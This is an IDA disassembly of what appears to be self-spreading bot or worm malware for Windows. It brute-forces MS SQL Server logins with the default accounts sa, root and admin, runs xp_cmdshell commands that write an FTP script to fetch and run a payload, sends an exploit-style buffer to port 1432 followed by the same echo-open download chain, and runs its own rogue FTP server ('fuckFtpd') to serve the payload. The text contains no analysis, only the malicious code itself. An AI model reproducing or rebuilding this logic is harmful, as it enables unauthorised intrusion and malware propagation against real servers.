loc_404CDF: ; CODE XREF: sub_404C5E+38j
pop edi
pop esi
retn 8
sub_404C5E endp
; =============== S U B R O U T I N E =======================================
sub_404CE4 proc near ; CODE XREF: sub_40467C+1Fp
; sub_40467C+16Bp ...
arg_0 = byte ptr 4
cmp [esp+arg_0], 0
push esi
mov esi, ecx
jz short loc_404D0C
mov eax, [esi+4]
test eax, eax
jz short loc_404D0C
dec eax
mov cl, [eax]
test cl, cl
jz short loc_404D05
cmp cl, 0FFh
jz short loc_404D05
dec byte ptr [eax]
jmp short loc_404D0C
; ---------------------------------------------------------------------------
loc_404D05: ; CODE XREF: sub_404CE4+16j
; sub_404CE4+1Bj
push eax
call sub_41630F
pop ecx
loc_404D0C: ; CODE XREF: sub_404CE4+8j
; sub_404CE4+Fj ...
and dword ptr [esi+4], 0
and dword ptr [esi+8], 0
and dword ptr [esi+0Ch], 0
pop esi
retn 4
sub_404CE4 endp
; =============== S U B R O U T I N E =======================================
sub_404D1C proc near ; CODE XREF: seg001:00404A0Ap
; sub_404E75+28p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
push 1
push edi
mov esi, ecx
call sub_404C5E
test al, al
jz short loc_404D4A
push edi
push [esp+0Ch+arg_0]
push dword ptr [esi+4]
call sub_4153F0
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_404D4A: ; CODE XREF: sub_404D1C+12j
mov eax, esi
pop edi
pop esi
retn 8
sub_404D1C endp
; =============== S U B R O U T I N E =======================================
sub_404D51 proc near ; CODE XREF: sub_404B91+35p
; sub_404B91+41p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, ecx
cmp [edi+8], esi
jnb short loc_404D64
call sub_4208DC
loc_404D64: ; CODE XREF: sub_404D51+Cj
mov ecx, edi
call sub_404E75
mov eax, [edi+8]
mov ebx, [esp+0Ch+arg_4]
sub eax, esi
cmp eax, ebx
jnb short loc_404D7A
mov ebx, eax
loc_404D7A: ; CODE XREF: sub_404D51+25j
test ebx, ebx
jbe short loc_404DB0
mov ecx, [edi+4]
sub eax, ebx
add ecx, esi
push eax
lea eax, [ecx+ebx]
push eax
push ecx
call sub_416320
mov esi, [edi+8]
add esp, 0Ch
sub esi, ebx
mov ecx, edi
push 0
push esi
call sub_404C5E
test al, al
jz short loc_404DB0
mov eax, [edi+4]
mov [edi+8], esi
and byte ptr [esi+eax], 0
loc_404DB0: ; CODE XREF: sub_404D51+2Bj
; sub_404D51+53j
mov eax, edi
pop edi
pop esi
pop ebx
retn 8
sub_404D51 endp
; =============== S U B R O U T I N E =======================================
sub_404DB8 proc near ; CODE XREF: sub_404C5E+7Ap
mov eax, offset loc_420B8C
call sub_4162F0
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+8]
or edi, 1Fh
mov esi, ecx
cmp edi, 0FFFFFFFDh
mov [ebp-10h], esp
mov [ebp-14h], esi
jbe short loc_404DDE
mov edi, [ebp+8]
loc_404DDE: ; CODE XREF: sub_404DB8+21j
and dword ptr [ebp-4], 0
lea eax, [edi+2]
test eax, eax
jge short loc_404DEB
xor eax, eax
loc_404DEB: ; CODE XREF: sub_404DB8+2Fj
push eax
call sub_416655
pop ecx
mov [ebp+8], eax
jmp short loc_404E1C
; ---------------------------------------------------------------------------
loc_404DF7: ; DATA XREF: seg001:00421F04o
mov eax, [ebp+8]
mov [ebp-18h], eax
add eax, 2
test eax, eax
jge short loc_404E06
xor eax, eax
loc_404E06: ; CODE XREF: sub_404DB8+4Aj
push eax
call sub_416655
mov [ebp+8], eax
pop ecx
mov eax, offset loc_404E16
retn
; ---------------------------------------------------------------------------
loc_404E16: ; DATA XREF: sub_404DB8+58o
mov esi, [ebp-14h]
mov edi, [ebp-18h]
loc_404E1C: ; CODE XREF: sub_404DB8+3Dj
mov eax, [esi+8]
test eax, eax
jbe short loc_404E3A
cmp eax, edi
jbe short loc_404E29
mov eax, edi
loc_404E29: ; CODE XREF: sub_404DB8+6Dj
push eax
mov eax, [ebp+8]
push dword ptr [esi+4]
inc eax
push eax
call sub_4153F0
add esp, 0Ch
loc_404E3A: ; CODE XREF: sub_404DB8+69j
mov ebx, [esi+8]
push 1
mov ecx, esi
call sub_404CE4
mov eax, [ebp+8]
inc eax
mov [esi+4], eax
and byte ptr [eax-1], 0
cmp ebx, edi
mov [esi+0Ch], edi
ja short loc_404E5A
mov edi, ebx
loc_404E5A: ; CODE XREF: sub_404DB8+9Ej
mov eax, [esi+4]
mov ecx, [ebp-0Ch]
mov [esi+8], edi
and byte ptr [edi+eax], 0
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_404DB8 endp
; =============== S U B R O U T I N E =======================================
sub_404E75 proc near ; CODE XREF: sub_404D51+15p
push esi
push edi
mov edi, ecx
mov esi, [edi+4]
test esi, esi
jz short loc_404EA2
mov al, [esi-1]
test al, al
jz short loc_404EA2
cmp al, 0FFh
jz short loc_404EA2
push 1
call sub_404CE4
push esi
call sub_415B10
pop ecx
push eax
push esi
mov ecx, edi
call sub_404D1C
loc_404EA2: ; CODE XREF: sub_404E75+9j
; sub_404E75+10j ...
pop edi
pop esi
retn
sub_404E75 endp
; =============== S U B R O U T I N E =======================================
sub_404EA5 proc near ; DATA XREF: seg001:00423008o
test byte_46B924, 1
jnz short loc_404EB5
or byte_46B924, 1
loc_404EB5: ; CODE XREF: sub_404EA5+7j
jmp $+5
push offset nullsub_1
call sub_4166D0
pop ecx
retn
sub_404EA5 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404EC7 proc near ; CODE XREF: seg001:00405120p
var_E2C = byte ptr -0E2Ch
var_A2C = byte ptr -0A2Ch
var_62C = byte ptr -62Ch
var_22C = byte ptr -22Ch
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1A = byte ptr -1Ah
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_14 = byte ptr 1Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
arg_B0 = dword ptr 0B8h
arg_B4 = dword ptr 0BCh
push ebp
mov ebp, esp
sub esp, 0E2Ch
mov al, byte_43B188
push esi
mov [ebp+var_1], al
lea eax, [ebp+var_14]
xor esi, esi
push eax
push esi
push 1
mov [ebp+var_2C], offset aSa ; "sa"
mov [ebp+var_28], offset aRoot ; "root"
mov [ebp+var_24], offset aAdmin ; "admin"
mov [ebp+var_20], esi
mov [ebp+var_18], esi
mov [ebp+var_10], esi
mov [ebp+var_8], esi
call dword_43C4D8
test ax, ax
jnz short loc_404F25
push 0FFFFFFFAh
push 3
push 0C8h
push [ebp+var_14]
call dword_43C5DC
test ax, ax
jz short loc_404F2C
loc_404F25: ; CODE XREF: sub_404EC7+45j
xor eax, eax
jmp loc_4050FC
; ---------------------------------------------------------------------------
loc_404F2C: ; CODE XREF: sub_404EC7+5Cj
lea eax, [ebp+var_10]
push eax
push [ebp+var_14]
push 2
call dword_43C4D8
test ax, ax
jnz loc_4050EF
push ebx
lea eax, [ebp+var_2C]
push edi
mov edi, dword_421060
mov [ebp+var_C], eax
mov ebx, offset byte_42C2BC
loc_404F57: ; CODE XREF: sub_404EC7+1C4j
cmp off_42C438, esi
jz loc_405082
mov eax, offset off_42C438
mov esi, eax
loc_404F6A: ; CODE XREF: sub_404EC7+118j
lea ecx, [ebp+var_1]
push ecx
push dword ptr [eax]
mov eax, [ebp+var_C]
push dword ptr [eax]
lea eax, [ebp+arg_4]
push [ebp+arg_A0]
push eax
lea eax, [ebp+var_A2C]
push offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s,%d;UID=%s"...
push eax
call sub_415316
add esp, 1Ch
lea eax, [ebp+var_1A]
push 0
push eax
lea eax, [ebp+var_E2C]
push 400h
push eax
lea eax, [ebp+var_A2C]
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_A2C]
push eax
push 0
push [ebp+var_10]
call dword_43C590
test ax, ax
jz short loc_404FE6
cmp ax, 1
jz short loc_404FE6
push 1F4h
call edi ; Sleep
add esi, 4
mov eax, esi
cmp dword ptr [esi], 0
jnz short loc_404F6A
jmp loc_405080
; ---------------------------------------------------------------------------
loc_404FE6: ; CODE XREF: sub_404EC7+101j
; sub_404EC7+107j
lea eax, [ebp+var_8]
push eax
push [ebp+var_10]
push 3
call dword_43C4D8
push ebx
push ebx
call sub_415372
push eax
call sub_415372
push eax
push dword_43B1A0
push [ebp+arg_0]
call sub_40A08A
pop ecx
push eax
lea eax, [ebp+var_62C]
push offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'del eq&echo o"...
push eax
call sub_415316
add esp, 20h
lea eax, [ebp+var_62C]
push 0FFFFFFFDh
push eax
push [ebp+var_8]
call dword_43C518
test ax, ax
jz short loc_405075
mov esi, 1388h
push esi
call edi ; Sleep
push ebx
lea eax, [ebp+var_62C]
push offset aExecMaster___0 ; "EXEC master..xp_cmdshell '%s'"
push eax
call sub_415316
add esp, 0Ch
lea eax, [ebp+var_62C]
push 0FFFFFFFDh
push eax
push [ebp+var_8]
call dword_43C518
test ax, ax
jz short loc_405093
push esi
call edi ; Sleep
loc_405075: ; CODE XREF: sub_404EC7+175j
push [ebp+var_8]
push 3
call dword_43C570
loc_405080: ; CODE XREF: sub_404EC7+11Aj
xor esi, esi
loc_405082: ; CODE XREF: sub_404EC7+96j
add [ebp+var_C], 4
mov eax, [ebp+var_C]
cmp [eax], esi
jnz loc_404F57
jmp short loc_4050DF
; ---------------------------------------------------------------------------
loc_405093: ; CODE XREF: sub_404EC7+1A9j
cmp [ebp+arg_B4], 0
mov [ebp+var_18], 1
jnz short loc_4050C1
push 0
lea eax, [ebp+var_22C]
push [ebp+arg_B0]
push eax
lea eax, [ebp+arg_14]
push eax
push [ebp+arg_0]
call sub_412BD1
add esp, 14h
loc_4050C1: ; CODE XREF: sub_404EC7+1DAj
lea eax, [ebp+var_22C]
push eax
call sub_40B078
mov eax, [ebp+arg_A8]
pop ecx
imul eax, 3Ch
lea eax, dword_427390[eax]
inc dword ptr [eax]
loc_4050DF: ; CODE XREF: sub_404EC7+1CAj
push [ebp+var_10]
push 2
call dword_43C570
mov esi, [ebp+var_18]
pop edi
pop ebx
loc_4050EF: ; CODE XREF: sub_404EC7+77j
push [ebp+var_14]
push 1
call dword_43C570
mov eax, esi
loc_4050FC: ; CODE XREF: sub_404EC7+60j
pop esi
leave
retn
sub_404EC7 endp
; ---------------------------------------------------------------------------
push esi
push edi
sub esp, 0BCh
lea esi, [esp+0C8h]
mov dword ptr [esp+168h], 599h
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_404EC7
push 2Fh
lea esi, [esp+0CCh]
pop ecx
mov dword ptr [esp+168h], 1BDh
mov edi, esp
rep movsd
call sub_403C74
add esp, 0BCh
xor eax, eax
inc eax
pop edi
pop esi
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40514F proc near ; CODE XREF: seg001:0040534Dp
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_415390
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call dword_43C594
mov [ebp+var_C], eax
mov ax, word_426744
push eax
call dword_43C554
push esi
push 1
push 2
mov [ebp+var_E], ax
call dword_43C5D4
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_405268
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_43C4FC
cmp eax, 0FFFFFFFFh
jz loc_405268
push esi
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_43C56C
mov esi, offset byte_42C2BC
push esi
push esi
push dword_43B1A0
push [ebp+arg_0]
call sub_40A08A
pop ecx
mov edi, 190h
push eax
push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "...
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_41588A
add esp, 1Ch
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_43C5A4
cmp eax, 0FFFFFFFFh
jz short loc_405268
push 1F4h
call dword_421060 ; Sleep
push esi
push offset dword_425090
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_41588A
add esp, 10h
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_43C5A4
cmp eax, 0FFFFFFFFh
jnz short loc_40526C
loc_405268: ; CODE XREF: sub_40514F+51j
; sub_40514F+67j ...
xor al, al
jmp short loc_40528A
; ---------------------------------------------------------------------------
loc_40526C: ; CODE XREF: sub_40514F+117j
push 0
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_43C56C
push ebx
call dword_43C5EC
mov al, 1
loc_40528A: ; CODE XREF: sub_40514F+11Bj
pop edi
pop esi
pop ebx
leave
retn
sub_40514F endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
lea eax, [ebp+0Ch]
push edi
push eax
call dword_4211CC ; gethostbyname
mov esi, eax
test esi, esi
jnz short loc_4052B9
lea eax, [ebp+0Ch]
push eax
call dword_4211DC ; inet_addr
mov ebx, eax
jmp short loc_4052BF
; ---------------------------------------------------------------------------
loc_4052B9: ; CODE XREF: seg001:004052A9j
mov ebx, [ebp+0C0h]
loc_4052BF: ; CODE XREF: seg001:004052B7j
push 11h
push 2
push 2
call dword_4211E4 ; socket
test esi, esi
mov edi, eax
jz short loc_4052E9
movsx eax, word ptr [esi+0Ah]
push eax
mov eax, [esi+0Ch]
push dword ptr [eax]
lea eax, [ebp-0Ch]
push eax
call sub_4153F0
add esp, 0Ch
jmp short loc_4052EC
; ---------------------------------------------------------------------------
loc_4052E9: ; CODE XREF: seg001:004052CFj
mov [ebp-0Ch], ebx
loc_4052EC: ; CODE XREF: seg001:004052E7j
test esi, esi
jz short loc_4052FA
mov ax, [esi+8]
mov [ebp-10h], ax
jmp short loc_405300
; ---------------------------------------------------------------------------
loc_4052FA: ; CODE XREF: seg001:004052EEj
mov word ptr [ebp-10h], 2
loc_405300: ; CODE XREF: seg001:004052F8j
push 598h
call dword_4211E0 ; htons
mov [ebp-0Eh], ax
lea eax, [ebp-10h]
push 10h
push eax
push edi
call dword_4211E8 ; connect
test eax, eax
jnz short loc_405381
push eax
push 152h
push offset dword_4265F0
push edi
call dword_4211F0 ; send
push 3E8h
call dword_421060 ; Sleep
sub esp, 0BCh
lea esi, [ebp+8]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40514F
add esp, 0BCh
test al, al
jz short loc_405361
xor eax, eax
inc eax
jmp short loc_405393
; ---------------------------------------------------------------------------
loc_405361: ; CODE XREF: seg001:0040535Aj
lea eax, [ebp-210h]
push eax
call sub_40B078
mov eax, [ebp+0B0h]
pop ecx
imul eax, 3Ch
lea eax, dword_427390[eax]
inc dword ptr [eax]
jmp short loc_405391
; ---------------------------------------------------------------------------
loc_405381: ; CODE XREF: seg001:0040531Ej
push 1
push edi
call dword_4211D0 ; shutdown
push edi
call dword_4211F4 ; closesocket
loc_405391: ; CODE XREF: seg001:0040537Fj
xor eax, eax
loc_405393: ; CODE XREF: seg001:0040535Fj
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405398 proc near ; DATA XREF: sub_4071B6+227o
var_A6C = byte ptr -0A6Ch
var_8DC = byte ptr -8DCh
var_6DC = dword ptr -6DCh
var_6D8 = byte ptr -6D8h
var_4C4 = byte ptr -4C4h
var_444 = dword ptr -444h
var_440 = dword ptr -440h
var_438 = dword ptr -438h
var_334 = byte ptr -334h
var_2D0 = byte ptr -2D0h
var_29C = byte ptr -29Ch
var_238 = dword ptr -238h
var_234 = dword ptr -234h
var_230 = dword ptr -230h
var_134 = byte ptr -134h
var_124 = byte ptr -124h
var_F8 = byte ptr -0F8h
var_C4 = byte ptr -0C4h
var_AC = byte ptr -0ACh
var_48 = byte ptr -48h
var_38 = word ptr -38h
var_36 = word ptr -36h
var_34 = dword ptr -34h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A6Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
xor ebx, ebx
mov ecx, 0A9h
mov esi, eax
lea edi, [ebp+var_6DC]
inc ebx
rep movsd
mov [eax+2A0h], ebx
lea eax, [ebp+var_A6C]
xor edi, edi
push eax
push 101h
mov [ebp+var_24], ebx
mov [ebp+var_28], ebx
mov [ebp+var_238], edi
mov [ebp+var_438], edi
call dword_4211B4 ; WSAStartup
push edi
call sub_41697B
push eax
call sub_415368
push 0FA00h
push 471h
call sub_413F12
add esp, 10h
mov dword_43B1A0, eax
push edi
push ebx
push 2
call dword_4211E4 ; socket
mov esi, eax
lea eax, [ebp+var_24]
push 4
push eax
push 4
push 0FFFFh
push esi
mov [ebp+var_C], esi
call dword_4211B8 ; setsockopt
lea eax, [ebp+var_28]
push eax
push 8004667Eh
push esi
call dword_4211BC ; ioctlsocket
mov ax, word ptr dword_43B1A0
mov [ebp+var_38], 2
push eax
mov [ebp+var_34], edi
call dword_4211E0 ; htons
mov [ebp+var_36], ax
lea eax, [ebp+var_38]
push 10h
push eax
push esi
call dword_4211C0 ; bind
test eax, eax
jge short loc_40546D
mov eax, ebx
jmp loc_405978
; ---------------------------------------------------------------------------
loc_40546D: ; CODE XREF: sub_405398+CCj
push 0Ah
push esi
call dword_4211C4 ; listen
mov [ebp+var_238], ebx
mov ebx, dword_4211F0
mov [ebp+var_234], esi
mov [ebp+var_4], esi
loc_40548B: ; CODE XREF: sub_405398+12Aj
; sub_405398+5D8j
push 41h
lea esi, [ebp+var_238]
pop ecx
lea edi, [ebp+var_438]
rep movsd
xor edi, edi
lea eax, [ebp+var_438]
push edi
push edi
push edi
push eax
mov eax, [ebp+var_4]
inc eax
push eax
call dword_4211D4 ; select
cmp eax, 0FFFFFFFFh
jz loc_405975
cmp [ebp+var_4], edi
mov [ebp+arg_0], edi
jl short loc_40548B
loc_4054C4: ; CODE XREF: sub_405398+5D2j
xor esi, esi
push 64h
lea eax, [ebp+var_29C]
push esi
push eax
call sub_415390
push 64h
lea eax, [ebp+var_AC]
push esi
push eax
call sub_415390
add esp, 18h
lea eax, [ebp+var_438]
push eax
push edi
call sub_420A06 ; __WSAFDIsSet
test eax, eax
jz loc_405963
cmp edi, [ebp+var_C]
jnz short loc_40556D
lea eax, [ebp+var_1C]
mov [ebp+var_1C], 10h
push eax
lea eax, [ebp+var_134]
push eax
push [ebp+var_C]
call dword_4211C8 ; accept
cmp eax, 0FFFFFFFFh
jz loc_405963
mov edx, [ebp+var_238]
xor ecx, ecx
cmp edx, esi
jbe short loc_40553F
loc_405531: ; CODE XREF: sub_405398+1A5j
cmp [ebp+ecx*4+var_234], eax
jz short loc_40553F
inc ecx
cmp ecx, edx
jb short loc_405531
loc_40553F: ; CODE XREF: sub_405398+197j
; sub_405398+1A0j
cmp ecx, edx
jnz short loc_405555
cmp edx, 40h
jnb short loc_405555
mov [ebp+ecx*4+var_234], eax
inc [ebp+var_238]
loc_405555: ; CODE XREF: sub_405398+1A9j
; sub_405398+1AEj
cmp eax, [ebp+var_4]
jle short loc_40555D
mov [ebp+var_4], eax
loc_40555D: ; CODE XREF: sub_405398+1C0j
push esi
push 15h
push offset a220Fuckftpd0wn ; "220 fuckFtpd 0wns j0\n"
push eax
call ebx ; send
jmp loc_405963
; ---------------------------------------------------------------------------
loc_40556D: ; CODE XREF: sub_405398+167j
push esi
lea eax, [ebp+var_29C]
push 64h
push eax
push edi
call dword_4211EC ; recv
test eax, eax
jg short loc_4055CA
mov ecx, [ebp+var_238]
xor eax, eax
cmp ecx, esi
jbe short loc_4055BE
loc_40558E: ; CODE XREF: sub_405398+202j
cmp [ebp+eax*4+var_234], edi
jz short loc_4055B3
inc eax
cmp eax, ecx
jb short loc_40558E
jmp short loc_4055BE
; ---------------------------------------------------------------------------
loc_40559E: ; CODE XREF: sub_405398+21Ej
mov ecx, [ebp+eax*4+var_230]
mov [ebp+eax*4+var_234], ecx
mov ecx, [ebp+var_238]
inc eax
loc_4055B3: ; CODE XREF: sub_405398+1FDj
dec ecx
cmp eax, ecx
jb short loc_40559E
dec [ebp+var_238]
loc_4055BE: ; CODE XREF: sub_405398+1F4j
; sub_405398+204j
push edi
call dword_4211F4 ; closesocket
jmp loc_405963
; ---------------------------------------------------------------------------
loc_4055CA: ; CODE XREF: sub_405398+1E8j
lea eax, [ebp+var_334]
push eax
lea eax, [ebp+var_AC]
push eax
lea eax, [ebp+var_29C]
push offset aSS ; "%s %s"
push eax
call sub_416947
lea eax, [ebp+var_AC]
push offset aUser_0 ; "USER"
push eax
call sub_415730
add esp, 18h
test eax, eax
jnz short loc_40560E
push esi
push 16h
push offset a331PasswordReq ; "331 Password required\n"
jmp loc_40594E
; ---------------------------------------------------------------------------
loc_40560E: ; CODE XREF: sub_405398+267j
lea eax, [ebp+var_AC]
push offset aPass ; "PASS"
push eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_405632
push esi
push 14h
push offset a230UserLoggedI ; "230 User logged in.\n"
jmp loc_40594E
; ---------------------------------------------------------------------------
loc_405632: ; CODE XREF: sub_405398+28Bj
lea eax, [ebp+var_AC]
push offset aSyst ; "SYST"
push eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_405656
push esi
push 0Dh
push offset a215Fuckftpd ; "215 fuckFtpd\n"
jmp loc_40594E
; ---------------------------------------------------------------------------
loc_405656: ; CODE XREF: sub_405398+2AFj
lea eax, [ebp+var_AC]
push offset aRest ; "REST"
push eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40567A
push esi
push 10h
push offset a350Restarting_ ; "350 Restarting.\n"
jmp loc_40594E
; ---------------------------------------------------------------------------
loc_40567A: ; CODE XREF: sub_405398+2D3j
lea eax, [ebp+var_AC]
push offset off_42694C
push eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40569E
push esi
push 1Eh
push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
jmp loc_40594E
; ---------------------------------------------------------------------------
loc_40569E: ; CODE XREF: sub_405398+2F7j
lea eax, [ebp+var_AC]
push offset aType ; "TYPE"
push eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_4056D9
lea eax, [ebp+var_334]
push offset aA ; "A"
push eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_4056D9
push esi
push 13h
push offset a200TypeSetToA_ ; "200 Type set to A.\n"
jmp loc_40594E
; ---------------------------------------------------------------------------
loc_4056D9: ; CODE XREF: sub_405398+31Bj
; sub_405398+332j
lea eax, [ebp+var_AC]
push offset aType ; "TYPE"
push eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_405714
lea eax, [ebp+var_334]
push offset aI ; "I"
push eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_405714
push esi
push 13h
push offset a200TypeSetToI_ ; "200 Type set to I.\n"
jmp loc_40594E
; ---------------------------------------------------------------------------
loc_405714: ; CODE XREF: sub_405398+356j
; sub_405398+36Dj
lea eax, [ebp+var_AC]
push offset aPasv ; "PASV"
push eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_405762
push 0Ah
mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
pop ecx
lea edi, [ebp+var_124]
rep movsd
push eax
lea eax, [ebp+var_124]
push eax
movsw
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_124]
loc_405752: ; CODE XREF: sub_405398+409j
push eax
push [ebp+arg_0]
call ebx ; send
mov edi, [ebp+arg_0]
xor esi, esi
jmp loc_405951
; ---------------------------------------------------------------------------
loc_405762: ; CODE XREF: sub_405398+391j
lea eax, [ebp+var_AC]
push offset aList ; "LIST"
push eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_4057A3
push 5
mov esi, offset a226TransferCom ; "226 Transfer complete\n"
pop ecx
lea edi, [ebp+var_C4]
rep movsd
movsw
push eax
lea eax, [ebp+var_C4]
push eax
movsb
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_C4]
jmp short loc_405752
; ---------------------------------------------------------------------------
loc_4057A3: ; CODE XREF: sub_405398+3DFj
lea eax, [ebp+var_AC]
push offset aPort ; "PORT"
push eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz loc_405874
lea eax, [ebp+var_2D0]
push eax
lea eax, [ebp+var_F8]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_29C]
push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
push eax
call sub_416947
lea eax, [ebp+var_F8]
push eax
call sub_41587F
mov [ebp+var_8], eax
lea eax, [ebp+var_2D0]
push eax
call sub_41587F
mov [ebp+arg_0], eax
push 32h
lea eax, [ebp+var_F8]
push esi
push eax
call sub_415390
push [ebp+arg_0]
lea eax, [ebp+var_F8]
push [ebp+var_8]
push offset aXX ; "%x%x\n"
push eax
call sub_415316
add esp, 44h
lea eax, [ebp+var_F8]
push 10h
push esi
push eax
call sub_416930
mov [ebp+var_8], eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_48]
push offset aS_S_S_S ; "%s.%s.%s.%s"
push eax
call sub_415316
add esp, 24h
push esi
push 1Dh
push offset a200PortCommand ; "200 PORT command successful.\n"
jmp loc_40594E
; ---------------------------------------------------------------------------
loc_405874: ; CODE XREF: sub_405398+420j
lea eax, [ebp+var_AC]
push offset aRetr ; "RETR"
push eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz loc_40592F
push esi
push 28h
push offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
push edi
call ebx ; send
push [ebp+var_8]
lea eax, [ebp+var_48]
push eax
call sub_40597F
pop ecx
cmp eax, 1
pop ecx
jnz short loc_405925
call sub_4059FC
cmp eax, 1
jnz loc_405951
push esi
push 17h
push offset a226TransferC_0 ; "226 Transfer complete.\n"
push edi
call ebx ; send
lea eax, [ebp+var_6D8]
push eax
lea eax, [ebp+var_48]
push dword_43B1A0
push eax
lea eax, [ebp+var_8DC]
push offset dword_426790
push eax
call sub_415316
add esp, 14h
cmp [ebp+var_440], esi
jnz short loc_405916
push esi
lea eax, [ebp+var_8DC]
push [ebp+var_444]
push eax
lea eax, [ebp+var_4C4]
push eax
push [ebp+var_6DC]
call sub_412BD1
add esp, 14h
loc_405916: ; CODE XREF: sub_405398+559j
lea eax, [ebp+var_8DC]
push eax
call sub_40B078
pop ecx
jmp short loc_405951
; ---------------------------------------------------------------------------
loc_405925: ; CODE XREF: sub_405398+513j
push esi
push 20h
push offset a425CanTOpenDat ; "425 Can't open data connection.\n"
jmp short loc_40594E
; ---------------------------------------------------------------------------
loc_40592F: ; CODE XREF: sub_405398+4F1j
lea eax, [ebp+var_AC]
push offset aQuit ; "QUIT"
push eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_405951
push esi
push 1Bh
push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"
loc_40594E: ; CODE XREF: sub_405398+271j
; sub_405398+295j ...
push edi
call ebx ; send
loc_405951: ; CODE XREF: sub_405398+3C5j
; sub_405398+51Dj ...
push 64h
lea eax, [ebp+var_29C]
push esi
push eax
call sub_415390
add esp, 0Ch
loc_405963: ; CODE XREF: sub_405398+15Ej
; sub_405398+187j ...
inc edi
cmp edi, [ebp+var_4]
mov [ebp+arg_0], edi
jle loc_4054C4
jmp loc_40548B
; ---------------------------------------------------------------------------
loc_405975: ; CODE XREF: sub_405398+11Ej
xor eax, eax
inc eax
loc_405978: ; CODE XREF: sub_405398+D0j
pop edi
pop esi
pop ebx
leave
retn 4
sub_405398 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40597F proc near ; CODE XREF: sub_405398+509p
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1A0h
lea eax, [ebp+var_1A0]
push eax
push 101h
call dword_4211B4 ; WSAStartup
push 0
push 1
push 2
call dword_4211E4 ; socket
push [ebp+arg_0]
mov dword_43B19C, eax
mov [ebp+var_10], 2
call dword_4211DC ; inet_addr
push [ebp+arg_4]
mov [ebp+var_C], eax
call dword_4211E0 ; htons
